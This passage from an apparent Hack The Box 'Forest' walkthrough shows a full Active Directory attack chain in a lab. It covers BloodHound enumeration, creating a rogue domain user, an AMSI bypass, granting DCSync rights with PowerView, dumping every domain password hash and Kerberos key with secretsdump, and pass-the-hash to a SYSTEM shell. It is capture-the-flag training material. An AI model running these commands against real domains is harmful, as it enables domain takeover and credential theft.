2023-07-30T01:14:39.0465553-07:00|INFORMATION|Consumers finished, closing output channel
2023-07-30T01:14:39.0778054-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2023-07-30T01:14:39.1403068-07:00|INFORMATION|Status: 161 objects finished (+161 3.577778)/s -- Using 50 MB RAM
2023-07-30T01:14:39.1403068-07:00|INFORMATION|Enumeration finished in 00:00:45.9011298
2023-07-30T01:14:39.2184306-07:00|INFORMATION|Saving cache with stats: 118 ID to type mappings.
 118 name to SID mappings.
 0 machine sid mappings.
 2 sid to domain mappings.
 0 global catalog mappings.
2023-07-30T01:14:39.2184306-07:00|INFORMATION|SharpHound Enumeration Completed at 1:14 AM on 7/30/2023! Happy Graphing!
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> ls


    Directory: C:\Users\svc-alfresco\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        7/30/2023   1:14 AM          18868 20230730011352_BloodHound.zip
-a----        7/30/2023   1:14 AM          19605 MzZhZTZmYjktOTM4NS00NDQ3LTk3OGItMmEyYTVjZjNiYTYw.bin
-a----        7/30/2023   1:12 AM        1061888 SharpHound.exe
-a----        7/30/2023   1:00 AM        1308348 SharpHound.ps1

Now, download the files

Evil-WinRM* PS C:\Users\svc-alfresco\Documents> download 20230730011352_BloodHound.zip
                                        
Info: Downloading C:\Users\svc-alfresco\Documents\20230730011352_BloodHound.zip to 20230730011352_BloodHound.zip
                                        
Info: Download successful!

And import it in Bloodhound and generate the graph again.

Exploiting DCSync

From the above figure, we can see that svc-alfresco is a member of the group Service Accounts which is a member of the group Privileged IT Accounts, which is a member of Account Operators. which we can see by checking the "shortest path to domain admins" and then cheking the node properties.

Moreover, the Account Operators group has GenericAll permissions on the Exchange Windows Permissions group, which has WriteDacl permissions on the domain.

This was a mouthful, so let’s break it down.

  • svc-alfresco is not just a member of Service Accounts, but is also a member of the groups Privileged IT Accounts and Account Operators.

  • The Account Operators group grants limited account creation privileges to a user. Therefore, the user svc-alfresco can create other users on the domain.

  • The Account Operators group has GenericAll permission on the Exchange Windows Permissions group. This permission essentially gives members full control of the group and therefore allows members to directly modify group membership. Since svc-alfresco is a member of Account Operators, he is able to modify the permissions of the Exchange Windows Permissions group.

  • The Exchange Windows Permission group has WriteDacl permission on the domain HTB.LOCAL. This permission allows members to modify the DACL (Discretionary Access Control List) on the domain. We’ll abuse this to grant ourselves DcSync privileges, which will give us the right to perform domain replication and dump all the password hashes from the domain.

Putting all the pieces together, the following is our attack path.

  1. Create a user on the domain. This is possible because svc-alfresco is a member of the group Account Operators.

  2. Add the user to the Exchange Windows Permission group. This is possible because svc-alfresco has GenericAll permissions on the Exchange Windows Permissions group.

  3. Give the user DcSync privileges. This is possible because the user is a part of the Exchange Windows Permissions group which has WriteDacl permission on the htb.local domain.

  4. Perform a DcSync attack and dump the password hashes of all the users on the domain.

  5. Perform a Pass the Hash attack to get access to the administrator’s account.

Now add a new user and add it to the exchange group

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user ammar ammar123 /add /domain
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user ammar
User name                    ammar
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            7/30/2023 1:26:16 AM
Password expires             Never
Password changeable          7/31/2023 1:26:16 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" /add ammar
The command completed successfully.

Alternate syntax
 Add-DomainGroupMember -Identity "Exchange Windows Permissions" -Members "ammar"

Now to check the aval modules you can use the command

menu

Now run the following commands before executing anything on target.

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> menu


   ,.   (   .      )               "            ,.   (   .      )       .   
  ("  (  )  )'     ,'             (`     '`    ("     )  )'     ,'   .  ,)  
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((   
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')  
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \  
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \ 
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

       By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Dll-Loader 
[+] Donut-Loader 
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] menu
[+] exit

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> powershell -ep bypass
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\svc-alfresco\Desktop>
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> Bypass-4MSI

Abusing write dacl

First, we need to create a credential object

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> $username ="htb\ammar"
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> $password = ConvertTo-SecureString "ammar123" -AsPlainText -Force
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> $credential = New-Object System.Management.Automation.PSCredential($username, $password)

Now, need PowerView, so locate it and upload it.

┌──(kali㉿kali)-[~/Desktop]
└─$ locate PowerView 
/usr/share/windows-resources/powersploit/Recon/PowerView.ps1
                                                                                                                                                                       
┌──(kali㉿kali)-[~/Desktop]
└─$ cp /usr/share/windows-resources/powersploit/Recon/PowerView.ps1 .


*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> upload PowerView.ps1
                                        
Info: Uploading /home/kali/Desktop/PowerView.ps1 to C:\Users\svc-alfresco\Documents\PowerView.ps1
                                        
Data: 1027036 bytes of 1027036 bytes copied
                                        
Info: Upload successful!

Now import PowerView

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> Import-Module .\PowerView.ps1
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> menu


   ,.   (   .      )               "            ,.   (   .      )       .   
  ("  (  )  )'     ,'             (`     '`    ("     )  )'     ,'   .  ,)  
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((   
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')  
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \  
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \ 
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

       By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Add-DomainGroupMember 
[+] Add-DomainObjectAcl 
[+] Add-RemoteConnection 
[+] Add-Win32Type 
[+] Convert-ADName 
[+] Convert-DNSRecord 
[+] ConvertFrom-LDAPLogonHours 
[+] ConvertFrom-SID 
[+] ConvertFrom-UACValue 
[+] Convert-LDAPProperty

Now execute one of the following to grant dcsync rights.

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> Add-DomainObjectAcl -Credential $credential -PrincipalIdentity 'htb\ammar' -TargetIdentity 'htb.local\Domain Admins' -Rights DCSync
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> Add-ObjectAcl -PrincipalIdentity 'htb\ammar' -Credential $credential -Rights DCSync

You can also use the following syntax

Add-DomainObjectAcl -Credential $credial -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity ammar -Rights DCSync

Dumping hashes

Now, we can use impacket to dump all hashes.

┌──(kali㉿kali)-[~/Desktop/new]
└─$ impacket-secretsdump htb.local/ammar:[email protected]
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_2c8eef0a09b545acb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_ca8c2ed5bdab4dc9b:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_75a538d3025e4db9a:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_681f53d4942840e18:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1b41c9286325456bb:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_9b69f1b9d2cc45549:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_7c96b981967141ebb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_c75ee099d0a64c91b:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1ffab36a2f5f479cb:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\HealthMailboxc3d7722:1134:aad3b435b51404eeaad3b435b51404ee:4761b9904a3d88c9c9341ed081b4ec6f:::
htb.local\HealthMailboxfc9daad:1135:aad3b435b51404eeaad3b435b51404ee:5e89fd2c745d7de396a0152f0e130f44:::
htb.local\HealthMailboxc0a90c9:1136:aad3b435b51404eeaad3b435b51404ee:3b4ca7bcda9485fa39616888b9d43f05:::
htb.local\HealthMailbox670628e:1137:aad3b435b51404eeaad3b435b51404ee:e364467872c4b4d1aad555a9e62bc88a:::
htb.local\HealthMailbox968e74d:1138:aad3b435b51404eeaad3b435b51404ee:ca4f125b226a0adb0a4b1b39b7cd63a9:::
htb.local\HealthMailbox6ded678:1139:aad3b435b51404eeaad3b435b51404ee:c5b934f77c3424195ed0adfaae47f555:::
htb.local\HealthMailbox83d6781:1140:aad3b435b51404eeaad3b435b51404ee:9e8b2242038d28f141cc47ef932ccdf5:::
htb.local\HealthMailboxfd87238:1141:aad3b435b51404eeaad3b435b51404ee:f2fa616eae0d0546fc43b768f7c9eeff:::
htb.local\HealthMailboxb01ac64:1142:aad3b435b51404eeaad3b435b51404ee:0d17cfde47abc8cc3c58dc2154657203:::
htb.local\HealthMailbox7108a4e:1143:aad3b435b51404eeaad3b435b51404ee:d7baeec71c5108ff181eb9ba9b60c355:::
htb.local\HealthMailbox0659cc1:1144:aad3b435b51404eeaad3b435b51404ee:900a4884e1ed00dd6e36872859c03536:::
htb.local\sebastien:1145:aad3b435b51404eeaad3b435b51404ee:96246d980e3a8ceacbf9069173fa06fc:::
htb.local\lucinda:1146:aad3b435b51404eeaad3b435b51404ee:4c2af4b2cd8a15b1ebd0ef6c58b879c3:::
htb.local\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:9248997e4ef68ca2bb47ae4e6f128668:::
htb.local\andy:1150:aad3b435b51404eeaad3b435b51404ee:29dfccaf39618ff101de5165b19d524b:::
htb.local\mark:1151:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::
htb.local\santi:1152:aad3b435b51404eeaad3b435b51404ee:483d4c70248510d8e0acb6066cd89072:::
ammar:9601:aad3b435b51404eeaad3b435b51404ee:1f7561a4ffe9e211987a750c89247a9f:::
FOREST$:1000:aad3b435b51404eeaad3b435b51404ee:6c7b23b873ff30be850a0838ce95038f:::
EXCH01$:1103:aad3b435b51404eeaad3b435b51404ee:050105bb043f5b8ffc3a9fa99b5ef7c1:::
[*] Kerberos keys grabbed
htb.local\Administrator:aes256-cts-hmac-sha1-96:910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913
htb.local\Administrator:aes128-cts-hmac-sha1-96:b5880b186249a067a5f6b814a23ed375
htb.local\Administrator:des-cbc-md5:c1e049c71f57343b
krbtgt:aes256-cts-hmac-sha1-96:9bf3b92c73e03eb58f698484c38039ab818ed76b4b3a0e1863d27a631f89528b
krbtgt:aes128-cts-hmac-sha1-96:13a5c6b1d30320624570f65b5f755f58
krbtgt:des-cbc-md5:9dd5647a31518ca8
htb.local\HealthMailboxc3d7722:aes256-cts-hmac-sha1-96:258c91eed3f684ee002bcad834950f475b5a3f61b7aa8651c9d79911e16cdbd4
htb.local\HealthMailboxc3d7722:aes128-cts-hmac-sha1-96:47138a74b2f01f1886617cc53185864e
htb.local\HealthMailboxc3d7722:des-cbc-md5:5dea94ef1c15c43e
htb.local\HealthMailboxfc9daad:aes256-cts-hmac-sha1-96:6e4efe11b111e368423cba4aaa053a34a14cbf6a716cb89aab9a966d698618bf
htb.local\HealthMailboxfc9daad:aes128-cts-hmac-sha1-96:9943475a1fc13e33e9b6cb2eb7158bdd
htb.local\HealthMailboxfc9daad:des-cbc-md5:7c8f0b6802e0236e
htb.local\HealthMailboxc0a90c9:aes256-cts-hmac-sha1-96:7ff6b5acb576598fc724a561209c0bf541299bac6044ee214c32345e0435225e
htb.local\HealthMailboxc0a90c9:aes128-cts-hmac-sha1-96:ba4a1a62fc574d76949a8941075c43ed
htb.local\HealthMailboxc0a90c9:des-cbc-md5:0bc8463273fed983
htb.local\HealthMailbox670628e:aes256-cts-hmac-sha1-96:a4c5f690603ff75faae7774a7cc99c0518fb5ad4425eebea19501517db4d7a91
htb.local\HealthMailbox670628e:aes128-cts-hmac-sha1-96:b723447e34a427833c1a321668c9f53f
htb.local\HealthMailbox670628e:des-cbc-md5:9bba8abad9b0d01a
htb.local\HealthMailbox968e74d:aes256-cts-hmac-sha1-96:1ea10e3661b3b4390e57de350043a2fe6a55dbe0902b31d2c194d2ceff76c23c
htb.local\HealthMailbox968e74d:aes128-cts-hmac-sha1-96:ffe29cd2a68333d29b929e32bf18a8c8
htb.local\HealthMailbox968e74d:des-cbc-md5:68d5ae202af71c5d
htb.local\HealthMailbox6ded678:aes256-cts-hmac-sha1-96:d1a475c7c77aa589e156bc3d2d92264a255f904d32ebbd79e0aa68608796ab81
htb.local\HealthMailbox6ded678:aes128-cts-hmac-sha1-96:bbe21bfc470a82c056b23c4807b54cb6
htb.local\HealthMailbox6ded678:des-cbc-md5:cbe9ce9d522c54d5
htb.local\HealthMailbox83d6781:aes256-cts-hmac-sha1-96:d8bcd237595b104a41938cb0cdc77fc729477a69e4318b1bd87d99c38c31b88a
htb.local\HealthMailbox83d6781:aes128-cts-hmac-sha1-96:76dd3c944b08963e84ac29c95fb182b2
htb.local\HealthMailbox83d6781:des-cbc-md5:8f43d073d0e9ec29
htb.local\HealthMailboxfd87238:aes256-cts-hmac-sha1-96:9d05d4ed052c5ac8a4de5b34dc63e1659088eaf8c6b1650214a7445eb22b48e7
htb.local\HealthMailboxfd87238:aes128-cts-hmac-sha1-96:e507932166ad40c035f01193c8279538
htb.local\HealthMailboxfd87238:des-cbc-md5:0bc8abe526753702
htb.local\HealthMailboxb01ac64:aes256-cts-hmac-sha1-96:af4bbcd26c2cdd1c6d0c9357361610b79cdcb1f334573ad63b1e3457ddb7d352
htb.local\HealthMailboxb01ac64:aes128-cts-hmac-sha1-96:8f9484722653f5f6f88b0703ec09074d
htb.local\HealthMailboxb01ac64:des-cbc-md5:97a13b7c7f40f701
htb.local\HealthMailbox7108a4e:aes256-cts-hmac-sha1-96:64aeffda174c5dba9a41d465460e2d90aeb9dd2fa511e96b747e9cf9742c75bd
htb.local\HealthMailbox7108a4e:aes128-cts-hmac-sha1-96:98a0734ba6ef3e6581907151b96e9f36
htb.local\HealthMailbox7108a4e:des-cbc-md5:a7ce0446ce31aefb
htb.local\HealthMailbox0659cc1:aes256-cts-hmac-sha1-96:a5a6e4e0ddbc02485d6c83a4fe4de4738409d6a8f9a5d763d69dcef633cbd40c
htb.local\HealthMailbox0659cc1:aes128-cts-hmac-sha1-96:8e6977e972dfc154f0ea50e2fd52bfa3
htb.local\HealthMailbox0659cc1:des-cbc-md5:e35b497a13628054
htb.local\sebastien:aes256-cts-hmac-sha1-96:fa87efc1dcc0204efb0870cf5af01ddbb00aefed27a1bf80464e77566b543161
htb.local\sebastien:aes128-cts-hmac-sha1-96:18574c6ae9e20c558821179a107c943a
htb.local\sebastien:des-cbc-md5:702a3445e0d65b58
htb.local\lucinda:aes256-cts-hmac-sha1-96:acd2f13c2bf8c8fca7bf036e59c1f1fefb6d087dbb97ff0428ab0972011067d5
htb.local\lucinda:aes128-cts-hmac-sha1-96:fc50c737058b2dcc4311b245ed0b2fad
htb.local\lucinda:des-cbc-md5:a13bb56bd043a2ce
htb.local\svc-alfresco:aes256-cts-hmac-sha1-96:46c50e6cc9376c2c1738d342ed813a7ffc4f42817e2e37d7b5bd426726782f32
htb.local\svc-alfresco:aes128-cts-hmac-sha1-96:e40b14320b9af95742f9799f45f2f2ea
htb.local\svc-alfresco:des-cbc-md5:014ac86d0b98294a
htb.local\andy:aes256-cts-hmac-sha1-96:ca2c2bb033cb703182af74e45a1c7780858bcbff1406a6be2de63b01aa3de94f
htb.local\andy:aes128-cts-hmac-sha1-96:606007308c9987fb10347729ebe18ff6
htb.local\andy:des-cbc-md5:a2ab5eef017fb9da
htb.local\mark:aes256-cts-hmac-sha1-96:9d306f169888c71fa26f692a756b4113bf2f0b6c666a99095aa86f7c607345f6
htb.local\mark:aes128-cts-hmac-sha1-96:a2883fccedb4cf688c4d6f608ddf0b81
htb.local\mark:des-cbc-md5:b5dff1f40b8f3be9
htb.local\santi:aes256-cts-hmac-sha1-96:8a0b0b2a61e9189cd97dd1d9042e80abe274814b5ff2f15878afe46234fb1427
htb.local\santi:aes128-cts-hmac-sha1-96:cbf9c843a3d9b718952898bdcce60c25
htb.local\santi:des-cbc-md5:4075ad528ab9e5fd
ammar:aes256-cts-hmac-sha1-96:ddf2c35a99e8b8f1b4e62c2855a3d597cf0a0fc750150545c480eac792f42ecf
ammar:aes128-cts-hmac-sha1-96:87e6701ac2cabf82a861d745397e78f6
ammar:des-cbc-md5:dfbf5eb32aea8015
FOREST$:aes256-cts-hmac-sha1-96:81d86507b961d04b7c89cbc6aa98c9dcce4a16b245eec60cdc33a40c9d2dcd05
FOREST$:aes128-cts-hmac-sha1-96:45872b81c1c17ccd23f88b6f60719c02
FOREST$:des-cbc-md5:d083eae5f77315ba
EXCH01$:aes256-cts-hmac-sha1-96:1a87f882a1ab851ce15a5e1f48005de99995f2da482837d49f16806099dd85b6
EXCH01$:aes128-cts-hmac-sha1-96:9ceffb340a70b055304c3cd0583edf4e
EXCH01$:des-cbc-md5:8c45f44c16975129

Pass the Hash

Now, we can simply pass the hash to get shell.

┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 [email protected] 
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 10.10.10.161.....
[*] Found writable share ADMIN$
[*] Uploading file zcJDWnNu.exe
[*] Opening SVCManager on 10.10.10.161.....
[*] Creating service GPAd on 10.10.10.161.....
[*] Starting service GPAd.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

Pass the hash with evil-winrm

You can also use evil-winrm. Remember to use only NT hash(last part).

Root Flag

The root flag is located on the desktop.

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